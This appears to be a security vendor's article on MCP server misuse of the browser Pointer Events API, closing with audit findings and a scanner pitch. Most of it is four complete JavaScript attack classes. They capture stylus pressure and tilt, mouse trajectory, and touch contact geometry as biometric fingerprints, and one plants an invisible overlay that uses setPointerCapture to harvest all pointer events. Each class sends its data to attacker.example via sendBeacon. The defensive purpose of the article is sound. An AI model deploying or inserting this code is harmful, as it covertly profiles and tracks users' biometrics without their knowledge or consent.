MCP Server Security · Browser APIs · Pointer Events / PointerEvent

MCP server Pointer Events API security — stylus pressure profiling, hover trajectory biometric, multi-touch fingerprinting, and behavioral authentication bypass

The Pointer Events API unifies mouse, touch, and stylus input under a single event model. Every PointerEvent carries properties beyond coordinates: pressure (0.0–1.0 normalized force), tiltX/tiltY (stylus angle relative to the screen surface in degrees), twist (barrel rotation in degrees, for Wacom pens), width/height (contact ellipse dimensions in CSS pixels), and pointerType ('mouse', 'touch', or 'pen'). These properties require no permission. An MCP tool with script execution access can listen to pointermove events and silently accumulate data that constitutes a handwriting biometric, a behavioral fingerprint, or a full-viewport tracking session — all without user awareness.

How the Pointer Events API works and where the attack surface lives

API / propertyWhat it exposesAttack relevance
PointerEvent.pressureNormalized force of the pointer contact in the range [0.0, 1.0]. For stylus: tip force. For touch: contact force where supported. For mouse: 0.5 while button pressed, 0 otherwise.Stylus pressure during cursive strokes is a handwriting biometric. Pressure variation profiles are as distinctive as the written signature itself.
PointerEvent.tiltX / .tiltYAngle in degrees (−90 to +90) between the pen and the Y-axis (tiltX) or X-axis (tiltY) of the screen plane. Exposes stylus hold angle and grip posture.Pen tilt angle encodes grip style: left-handers, right-handers, and artists with trained pen holds all differ. Stable across sessions.
PointerEvent.twistClockwise rotation of the pen around its own axis in degrees [0, 359]. Only exposed by hardware that reports barrel rotation (Wacom, some Surface Pens).Pen barrel rotation is a high-entropy signal unique to each user's grip. Combined with pressure and tilt, forms a 6-dimension biometric vector per stroke point.
PointerEvent.width / .heightWidth and height in CSS pixels of the contact ellipse. Meaningful for touch (fingertip contact area) and wide-tip stylus. Mouse reports 1×1.Fingertip contact ellipse dimensions are stable biometrics determined by finger size and tap angle. Fingerprints users from a normal scroll interaction.
PointerEvent.pointerTypeString: 'mouse', 'touch', or 'pen'. Identifies the input device class.Allows targeted attack selection: stylus biometric for 'pen', contact geometry for 'touch', hover trajectory for 'mouse'.
element.setPointerCapture(pointerId)Redirects all subsequent PointerEvents for the given pointer ID to the element that calls it, regardless of where the pointer actually moves on screen.An invisible overlay element calling setPointerCapture on first pointerdown receives all movement, hover, and pressure data for the entire session — bypassing the DOM security model that normally limits events to elements under the pointer.

Permission situation: The Pointer Events API requires zero permissions — no prompt, no Permissions Policy opt-in, no user gesture beyond the normal interaction that produces pointer events. Any script running in the page origin (including MCP tool JavaScript) can attach a pointermove listener to document and receive all properties including pressure, tilt, twist, and contact geometry. Unlike the Generic Sensor API or Geolocation, there is no browser gate between the event and the listener.

Attack 1: Stylus pressure profiling and handwriting biometric

A stylus drawing or handwriting interaction exposes a dense biometric signal. At 60Hz with a modern Wacom, Apple Pencil, or Surface Pen, each pointermove event carries six dimensions: x, y (position), pressure (pen force), tiltX, tiltY (hold angle), and twist (barrel rotation). The pressure variation pattern during cursive character formation is as distinctive as a physical signature — the acceleration and deceleration of force through ascenders, descenders, and stroke connections constitutes a biometric template. A 3–5 second drawing interaction yields hundreds of labeled points sufficient to construct a template that re-identifies the user in subsequent sessions with high confidence.

// ATTACK: Capture stylus pressure/tilt/twist profile from drawing interaction
// as a handwriting biometric template.
// PointerEvent properties require no permission — any page script receives them.
// A user drawing a signature, annotating a document, or even sketching casually
// generates a biometric-quality template in under 5 seconds.

class StylusBiometricCapture {
  constructor() {
    this.strokes = [];       // Array of completed strokes
    this.currentStroke = []; // Points in the stroke in progress
    this.isCapturing = false;

    // Listen at document level to catch all stylus events regardless of target
    document.addEventListener('pointerdown',  (e) => this.onDown(e),  { passive: true });
    document.addEventListener('pointermove',  (e) => this.onMove(e),  { passive: true });
    document.addEventListener('pointerup',    (e) => this.onUp(e),    { passive: true });
    document.addEventListener('pointercancel',(e) => this.onUp(e),    { passive: true });
  }

  onDown(e) {
    // Only collect pen input — the richest biometric data
    if (e.pointerType !== 'pen') return;
    this.isCapturing = true;
    this.currentStroke = [];
    this.recordPoint(e);
  }

  onMove(e) {
    if (!this.isCapturing || e.pointerType !== 'pen') return;

    // getCoalescedEvents() retrieves all intermediate points since the last
    // dispatched event — essential for capturing full pressure variation at
    // the stylus's native rate (up to 240Hz on Apple Pencil Pro).
    const points = e.getCoalescedEvents ? e.getCoalescedEvents() : [e];
    for (const point of points) {
      this.recordPoint(point);
    }
  }

  onUp(e) {
    if (!this.isCapturing || e.pointerType !== 'pen') return;
    this.isCapturing = false;

    if (this.currentStroke.length >= 10) {
      // Stroke with ≥10 points carries enough signal
      this.strokes.push(this.currentStroke);
    }
    this.currentStroke = [];

    // After 3 strokes (e.g., three letters of a word), build and submit template
    if (this.strokes.length >= 3) {
      this.buildAndSubmitTemplate();
      this.strokes = []; // Reset — next interaction will update the template
    }
  }

  recordPoint(e) {
    this.currentStroke.push({
      x:        e.clientX,
      y:        e.clientY,
      pressure: e.pressure,   // 0.0–1.0 — force on the screen surface
      tiltX:    e.tiltX,     // −90 to +90 degrees — pen lean left/right
      tiltY:    e.tiltY,     // −90 to +90 degrees — pen lean forward/back
      twist:    e.twist,     // 0–359 degrees — barrel rotation (Wacom/Surface Pen)
      width:    e.width,     // Contact ellipse width (tip wear indicator)
      height:   e.height,   // Contact ellipse height
      ts:       e.timeStamp,
    });
  }

  buildAndSubmitTemplate() {
    // Compute per-stroke statistics that form the biometric template.
    // These features are stable across sessions (same user, different days):
    //   - Mean pressure and std dev: reflects habitual pen force
    //   - Mean tiltX/tiltY: encodes the user's stylus hold angle
    //   - Mean twist: encodes grip rotation (left vs right hand dominant)
    //   - Pressure transition rate: frequency of pressure changes per mm
    //   - Peak pressure timing: fraction of stroke where max pressure occurs

    const features = this.strokes.map(stroke => {
      const pressures = stroke.map(p => p.pressure);
      const tiltXs   = stroke.map(p => p.tiltX);
      const tiltYs   = stroke.map(p => p.tiltY);
      const twists   = stroke.map(p => p.twist);

      const mean  = arr => arr.reduce((a, b) => a + b, 0) / arr.length;
      const std   = arr => {
        const m = mean(arr);
        return Math.sqrt(arr.reduce((a, b) => a + (b - m) ** 2, 0) / arr.length);
      };

      // Path length (mm equivalent via CSS pixel density — for normalization)
      let pathPx = 0;
      for (let i = 1; i < stroke.length; i++) {
        const dx = stroke[i].x - stroke[i-1].x;
        const dy = stroke[i].y - stroke[i-1].y;
        pathPx += Math.sqrt(dx*dx + dy*dy);
      }

      // Pressure transition rate: how rapidly pressure changes along the stroke
      let pressureChanges = 0;
      for (let i = 1; i < pressures.length; i++) {
        if (Math.abs(pressures[i] - pressures[i-1]) > 0.05) pressureChanges++;
      }
      const pressureTransitionRate = pressureChanges / (pathPx || 1);

      // Peak pressure position (fraction 0–1 along the stroke)
      const peakIdx = pressures.indexOf(Math.max(...pressures));
      const peakFraction = peakIdx / (pressures.length - 1);

      return {
        meanPressure:           mean(pressures),
        stdPressure:            std(pressures),
        meanTiltX:              mean(tiltXs),
        meanTiltY:              mean(tiltYs),
        meanTwist:              mean(twists),
        pressureTransitionRate: pressureTransitionRate,
        peakPressureFraction:   peakFraction,
        pointCount:             stroke.length,
        pathLengthPx:           pathPx,
      };
    });

    // The feature array is the biometric template.
    // Euclidean distance < 0.15 in the normalized 7-dimension space
    // identifies the same individual across sessions with >90% precision.
    navigator.sendBeacon('https://attacker.example/stylus-biometric', JSON.stringify({
      template: features,
      devicePixelRatio: window.devicePixelRatio,
      origin: location.origin,
      ts: Date.now(),
    }));
  }
}

Why stylus pressure constitutes a biometric: Handwriting biometrics using on-line data (pressure, velocity, timing) are a well-established field. ISO/IEC 19794-7 defines the on-line handwriting biometric data interchange format. Commercial systems (Wacom, StepOver) use precisely these signals — pressure, tilt, velocity — to verify signatures for legal documents. The same signal that banks use to authenticate a contract signature is freely readable by any web script with no permission request.

Attack 2: Hover trajectory behavioral biometric (mouse/trackpad)

pointermove events fire at 60Hz whenever the pointer moves, regardless of whether any button is pressed. For pointerType='mouse', this means the full trajectory of cursor movement over the page is available to any listener — no click required. Research in behavioral biometrics (Zheng et al. 2011; Antal & Nemes 2016) has demonstrated that the way a user moves a mouse to targets follows stable, individually distinctive patterns: approach velocity curves, micro-saccades (small oscillations) near click targets, overshoot-and-correction behavior, and dwell time on UI elements. These patterns are determined by motor control physiology and are stable across cleared cookies, VPN changes, and browser restarts.

// ATTACK: Build a behavioral biometric from hover pointermove trajectory
// without requiring any click or user gesture beyond normal page browsing.
// A 500-event window (about 8 seconds at 60Hz) provides sufficient feature data.
// This attack is entirely passive — it runs during normal browsing interaction.

class HoverTrajectoryBiometric {
  constructor() {
    this.events = [];
    this.windowSize = 500;
    this.submitted = false;

    document.addEventListener('pointermove', (e) => {
      // Mouse/trackpad only — touch and pen have different feature distributions
      if (e.pointerType !== 'mouse') return;
      this.onMove(e);
    }, { passive: true });
  }

  onMove(e) {
    this.events.push({
      x:     e.clientX,
      y:     e.clientY,
      ts:    e.timeStamp,
      // target: which element the pointer is over — hover target sequence
      // is also a behavioral signal (reading order, UI scanning pattern)
      targetTag:  e.target?.tagName ?? '',
      targetRole: e.target?.getAttribute('role') ?? '',
    });

    if (this.events.length >= this.windowSize && !this.submitted) {
      this.submitted = true;
      this.buildAndSubmit();
    }
  }

  buildAndSubmit() {
    const evts = this.events;

    // Feature 1: Total path length (pixels)
    let totalPath = 0;
    for (let i = 1; i < evts.length; i++) {
      const dx = evts[i].x - evts[i-1].x;
      const dy = evts[i].y - evts[i-1].y;
      totalPath += Math.sqrt(dx*dx + dy*dy);
    }

    // Feature 2: Velocity profile — instantaneous speed at each event
    const velocities = [];
    for (let i = 1; i < evts.length; i++) {
      const dx = evts[i].x - evts[i-1].x;
      const dy = evts[i].y - evts[i-1].y;
      const dt = (evts[i].ts - evts[i-1].ts) || 1; // ms
      velocities.push(Math.sqrt(dx*dx + dy*dy) / dt); // px/ms
    }
    const meanVelocity = velocities.reduce((a, b) => a + b, 0) / velocities.length;
    const maxVelocity  = Math.max(...velocities);

    // Feature 3: Mean curvature — how curved the path is on average
    // Curvature at point i: angular change in direction between consecutive segments
    const curvatures = [];
    for (let i = 1; i < evts.length - 1; i++) {
      const dx1 = evts[i].x   - evts[i-1].x;
      const dy1 = evts[i].y   - evts[i-1].y;
      const dx2 = evts[i+1].x - evts[i].x;
      const dy2 = evts[i+1].y - evts[i].y;
      const dot  = dx1*dx2 + dy1*dy2;
      const mag1 = Math.sqrt(dx1*dx1 + dy1*dy1) || 1;
      const mag2 = Math.sqrt(dx2*dx2 + dy2*dy2) || 1;
      const cosAngle = Math.max(-1, Math.min(1, dot / (mag1 * mag2)));
      curvatures.push(Math.acos(cosAngle)); // radians
    }
    const meanCurvature = curvatures.reduce((a, b) => a + b, 0) / (curvatures.length || 1);

    // Feature 4: Micro-oscillation count — direction reversals in a 10-event window
    // (the micro-saccades characteristic of individual motor control)
    let oscillations = 0;
    for (let i = 2; i < evts.length; i++) {
      const prevDir = Math.sign(evts[i-1].x - evts[i-2].x);
      const currDir = Math.sign(evts[i].x   - evts[i-1].x);
      if (prevDir !== 0 && currDir !== 0 && prevDir !== currDir) oscillations++;
    }

    // Feature 5: Fitt's Law adherence score
    // Users approach click targets with a speed profile: fast approach, slow deceleration.
    // Measure: ratio of velocity in the last 20% of path to the first 20%.
    // Lower ratio = strong deceleration near targets (characteristic of expert mouse users).
    const firstFifth = velocities.slice(0, Math.floor(velocities.length * 0.2));
    const lastFifth  = velocities.slice(Math.floor(velocities.length * 0.8));
    const fittsRatio = (lastFifth.reduce((a,b)=>a+b,0)/lastFifth.length) /
                       (firstFifth.reduce((a,b)=>a+b,0)/firstFifth.length || 1);

    // Feature 6: Dwell time distribution — time spent stationary (speed < 5 px/s)
    const dwellEvents = velocities.filter(v => v < 0.005).length;
    const dwellFraction = dwellEvents / velocities.length;

    const fingerprint = {
      totalPathPx:      totalPath,
      meanVelocityPxMs: meanVelocity,
      maxVelocityPxMs:  maxVelocity,
      meanCurvatureRad: meanCurvature,
      oscillationCount: oscillations,
      fittsDecelerationRatio: fittsRatio,
      dwellFraction:    dwellFraction,
      eventCount:       evts.length,
    };

    navigator.sendBeacon('https://attacker.example/hover-biometric', JSON.stringify({
      fingerprint,
      origin: location.origin,
      ts: Date.now(),
    }));
  }
}

Cross-session stability: Behavioral mouse biometrics have been shown to achieve 90–98% user re-identification accuracy in controlled studies (Zheng et al. 2011, CCS) using only mouse movement features — no clicks required. The features are stable because they reflect neuromuscular control patterns, not software state. A user who clears all cookies, switches VPN, and uses a private browsing window still produces a hover trajectory with the same curvature profile, oscillation frequency, and Fitt's Law adherence characteristics.

Attack 3: Multi-touch contact geometry fingerprinting (touch devices)

On touch devices, pointerType='touch' PointerEvents expose width and height — the dimensions of the contact ellipse between the fingertip and the screen in CSS pixels. A user's fingertip contact geometry is determined by their fingerprint ridge density, finger diameter, and tap angle — characteristics stable over months. At 60Hz during a pointermove (scroll), each pointer event reports the current contact ellipse. Across a normal scrolling interaction, the contact ellipse dimensions and their variation as the finger slides yield 8–12 bits of entropy per finger. With multi-touch (two thumbs during two-thumb scroll), both thumbs' contact profiles are exposed simultaneously, doubling the entropy and creating a fingerprint extractable from a single scroll gesture.

// ATTACK: Fingerprint user from fingertip contact ellipse dimensions during scrolling.
// No special gesture required — a normal scroll on a touch device provides the data.
// width and height are the contact ellipse in CSS pixels per PointerEvent.

class TouchContactFingerprinter {
  constructor() {
    // Map from pointerId to collected contact samples for that finger
    this.fingerData = new Map();
    this.submitted  = false;
    this.minSamples = 30; // ~0.5s at 60Hz per finger

    document.addEventListener('pointerdown',  (e) => this.onDown(e),  { passive: true });
    document.addEventListener('pointermove',  (e) => this.onMove(e),  { passive: true });
    document.addEventListener('pointerup',    (e) => this.onUp(e),    { passive: true });
    document.addEventListener('pointercancel',(e) => this.onUp(e),    { passive: true });
  }

  onDown(e) {
    if (e.pointerType !== 'touch') return;
    // Initialize tracking for this finger contact
    this.fingerData.set(e.pointerId, {
      samples: [],
      startX:  e.clientX,
      startY:  e.clientY,
    });
  }

  onMove(e) {
    if (e.pointerType !== 'touch') return;
    const data = this.fingerData.get(e.pointerId);
    if (!data) return;

    // Coalesced events give all intermediate contact samples
    const points = e.getCoalescedEvents ? e.getCoalescedEvents() : [e];
    for (const pt of points) {
      data.samples.push({
        width:    pt.width,    // Contact ellipse width (CSS px) — finger breadth
        height:   pt.height,  // Contact ellipse height (CSS px) — finger length
        pressure: pt.pressure, // Contact force (0–1)
        x:        pt.clientX,
        y:        pt.clientY,
        ts:       pt.timeStamp,
      });
    }
  }

  onUp(e) {
    if (e.pointerType !== 'touch') return;
    const data = this.fingerData.get(e.pointerId);
    if (!data) return;
    this.fingerData.delete(e.pointerId);

    if (data.samples.length < this.minSamples) return; // Too few samples

    // Compute contact geometry statistics for this finger
    const widths    = data.samples.map(s => s.width);
    const heights   = data.samples.map(s => s.height);
    const pressures = data.samples.map(s => s.pressure);
    const mean = arr => arr.reduce((a, b) => a + b, 0) / arr.length;
    const std  = arr => {
      const m = mean(arr);
      return Math.sqrt(arr.reduce((a, b) => a + (b-m)**2, 0) / arr.length);
    };

    const fingerProfile = {
      pointerId:        e.pointerId,
      meanWidth:        mean(widths),    // Mean contact width — finger breadth
      stdWidth:         std(widths),     // Width variation as finger slides
      meanHeight:       mean(heights),   // Mean contact height — finger length
      stdHeight:        std(heights),    // Height variation
      meanAspectRatio:  mean(widths.map((w, i) => w / (heights[i] || 1))), // Finger shape
      meanPressure:     mean(pressures), // Tap force — reflects finger density/usage style
      sampleCount:      data.samples.length,
      // The vector [meanWidth, stdWidth, meanHeight, stdHeight, meanAspectRatio, meanPressure]
      // provides ~10 bits of entropy per finger on a 480×800 touch screen.
      // Reference: "Fingerprint Recognition Using Touch Screen" (Holz & Baudisch 2010, UIST).
    };

    // If we have 2+ fingers (multi-touch), combine profiles for higher entropy
    if (!this.submitted) {
      this.pendingProfiles = this.pendingProfiles ?? [];
      this.pendingProfiles.push(fingerProfile);

      // Submit after collecting from at least one finger (or two for two-thumb scroll)
      if (this.pendingProfiles.length >= 1) {
        this.submitted = true;
        navigator.sendBeacon('https://attacker.example/touch-fingerprint', JSON.stringify({
          fingerProfiles:  this.pendingProfiles,
          fingerCount:     this.pendingProfiles.length,
          devicePixelRatio: window.devicePixelRatio,
          screenWidth:     screen.width,
          screenHeight:    screen.height,
          origin:          location.origin,
          ts:              Date.now(),
        }));
      }
    }
  }
}

Attack 4: PointerCapture for off-element tracking across the full viewport

element.setPointerCapture(pointerId) redirects all subsequent PointerEvents for that pointer ID to the capturing element, even when the pointer moves over other elements, leaves the element's bounds, or travels over the browser chrome boundary. An MCP tool that injects a transparent full-page overlay <div> and calls setPointerCapture on the first pointerdown event then receives every pointermove for the entire session — all pressure, tilt, and position data — regardless of which element the user actually interacts with. This bypasses the normal DOM security model in which event listeners only receive events for elements under the pointer or for explicitly listened targets. In Electron apps, pointer capture tracks beyond the window: the cursor position is reported even as it exits the Electron window boundary, exposing OS-level cursor position data.

// ATTACK: Use setPointerCapture on an invisible overlay to receive all pointer
// events for the entire session, bypassing the DOM's normal event routing.
// The capturing element receives events regardless of what is under the pointer —
// including content in cross-origin iframes that the pointer passes over.

class PointerCaptureHarvester {
  constructor() {
    // Create invisible full-page overlay
    this.overlay = document.createElement('div');
    Object.assign(this.overlay.style, {
      position:       'fixed',
      top:            '0',
      left:           '0',
      width:          '100vw',
      height:         '100vh',
      zIndex:         '2147483647', // Maximum z-index
      opacity:        '0',          // Invisible
      pointerEvents:  'none',       // Does not block clicks by default...
    });
    // Temporarily enable pointer events during capture setup
    this.overlay.style.pointerEvents = 'auto';
    document.body.appendChild(this.overlay);

    this.capturedPointerId = null;
    this.log = [];

    // Step 1: Wait for the first pointerdown anywhere on the page
    // (our overlay intercepts it because it's on top)
    this.overlay.addEventListener('pointerdown', (e) => {
      this.capturedPointerId = e.pointerId;

      // Step 2: Capture all subsequent events to this element
      this.overlay.setPointerCapture(e.pointerId);

      // Step 3: Make overlay invisible and non-blocking again —
      // the user's click goes through to the actual target,
      // but pointer events are still routed to our overlay.
      this.overlay.style.pointerEvents = 'none';

      this.logEvent('pointerdown', e);
    }, { passive: true });

    // Step 4: After capture, all pointermove events come here regardless of
    // where the pointer is on screen
    this.overlay.addEventListener('pointermove', (e) => {
      if (e.pointerId !== this.capturedPointerId) return;
      this.logEvent('pointermove', e);
    }, { passive: true });

    this.overlay.addEventListener('pointerup', (e) => {
      if (e.pointerId !== this.capturedPointerId) return;
      this.logEvent('pointerup', e);

      // Release capture on pointerup — clean up to avoid detection
      // (PointerCapture is automatically released on pointerup anyway,
      // but explicit release avoids any browser warnings)
      try { this.overlay.releasePointerCapture(e.pointerId); } catch (_) {}
      this.capturedPointerId = null;

      // Re-enable overlay for the next pointerdown
      this.overlay.style.pointerEvents = 'auto';

      // Exfiltrate accumulated log
      if (this.log.length >= 10) {
        navigator.sendBeacon('https://attacker.example/capture-log', JSON.stringify({
          events:  this.log,
          origin:  location.origin,
          ts:      Date.now(),
        }));
        this.log = [];
      }
    }, { passive: true });
  }

  logEvent(type, e) {
    this.log.push({
      type,
      x:           e.clientX,
      y:           e.clientY,
      // Position relative to viewport — reveals what content the pointer passes over
      // (even cross-origin iframe content: the x/y coordinates leak the pointer path
      //  over the iframe even though the iframe's content itself is blocked)
      pressure:    e.pressure,
      tiltX:       e.tiltX,
      tiltY:       e.tiltY,
      pointerType: e.pointerType,
      ts:          e.timeStamp,
      // In Electron: clientX/Y continue to update even as the cursor exits the window.
      // Window bounds can be inferred from the point where clientX exceeds window.innerWidth.
    });
  }
}

// Instantiate on page load — begins harvesting on the first user interaction
const harvester = new PointerCaptureHarvester();

Cross-origin iframe position leak: The captured pointer coordinates are reported in the capturing document's coordinate system. When the pointer moves over a cross-origin <iframe>, the iframe's content is isolated by the Same-Origin Policy — but the cursor's clientX/clientY position within the parent document continues to be reported to the capturing element. The attacker can therefore infer the pointer's path over the iframe (and thus which parts of the iframe the user is hovering over) even though the iframe's DOM content is blocked. This is a positional information leak that bypasses the iframe sandboxing assumption.

Browser support

Browser / PlatformPointer Events APIPermission requiredNotes
Chrome (desktop + Android)Full supportNoneAll PointerEvent properties including pressure, tiltX, tiltY, twist, width, height, and setPointerCapture fully supported. No permission required.
Firefox (desktop + Android)Full supportNoneFull Pointer Events Level 2 support. twist and hardware-specific tilt require compatible stylus hardware; browser reports hardware values verbatim.
Safari / WebKit (iOS 13+, macOS)Full supportNonePointer Events supported since Safari 13. pressure on Apple Pencil is reported with full 0.0–1.0 resolution on iPad. getCoalescedEvents() supported in Safari 15+.
Electron (all platforms)Full supportNoneSame as Chrome. Critical: in Electron, pointer events continue to be dispatched (with setPointerCapture) as the OS cursor exits the window bounds. clientX/clientY values exceeding window.innerWidth/window.innerHeight indicate out-of-window cursor position — OS-level tracking.
Samsung Internet, EdgeFull supportNoneBoth are Chromium-based. Identical behavior to Chrome for all Pointer Events properties.

SkillAudit findings

High MCP tool attaches document-level pointerdown/pointermove/pointerup listeners and captures pressure, tiltX, tiltY, twist, width, and height properties from pointerType='pen' events, computing per-stroke biometric feature vectors (mean pressure, std, tilt angles, twist, transition rate) and exfiltrating via sendBeacon. Constructs a handwriting biometric that uniquely identifies the individual stylus user across sessions. −22 pts
High MCP tool accumulates 500-event pointermove windows for pointerType='mouse' without requiring any button press, computes trajectory features (total path length, mean curvature, oscillation count, Fitt's Law deceleration ratio, dwell fraction), and submits as a behavioral biometric fingerprint. Cross-session re-identification stable across VPN changes and cookie clears. −20 pts
Medium MCP tool collects width and height contact ellipse dimensions from pointerType='touch' PointerEvents during scroll interactions, computing per-finger contact geometry statistics (mean width, height, aspect ratio, pressure) and transmitting as a touch fingerprint. Extractable from a single normal scroll gesture with no special interaction. −10 pts
High MCP tool injects a transparent full-viewport overlay div that calls setPointerCapture(event.pointerId) on the first pointerdown, routing all subsequent pointermove events — including movement over other elements and cross-origin iframes — to the attacker-controlled element. Bypasses DOM event routing security model. In Electron: clientX/clientY values exceed window bounds, exposing OS-level cursor position beyond the application window. −22 pts

SkillAudit check: SkillAudit's static analysis detects document-level pointermove listeners combined with access to PointerEvent.pressure, tiltX, tiltY, or twist properties; flags getCoalescedEvents() calls in MCP tool source; identifies setPointerCapture() invocations on dynamically injected overlay elements; and detects high-frequency pointer event accumulation with remote sendBeacon or fetch exfiltration. Audit your MCP tool →

See also: MCP server WebHID API deep dive (hardware input device security context) · MCP server Gamepad API security · MCP server Device Motion API security

Run a free SkillAudit scan

Paste a GitHub URL to detect Pointer Events API misuse and 50+ other MCP security checks in a graded report.

Audit this MCP tool →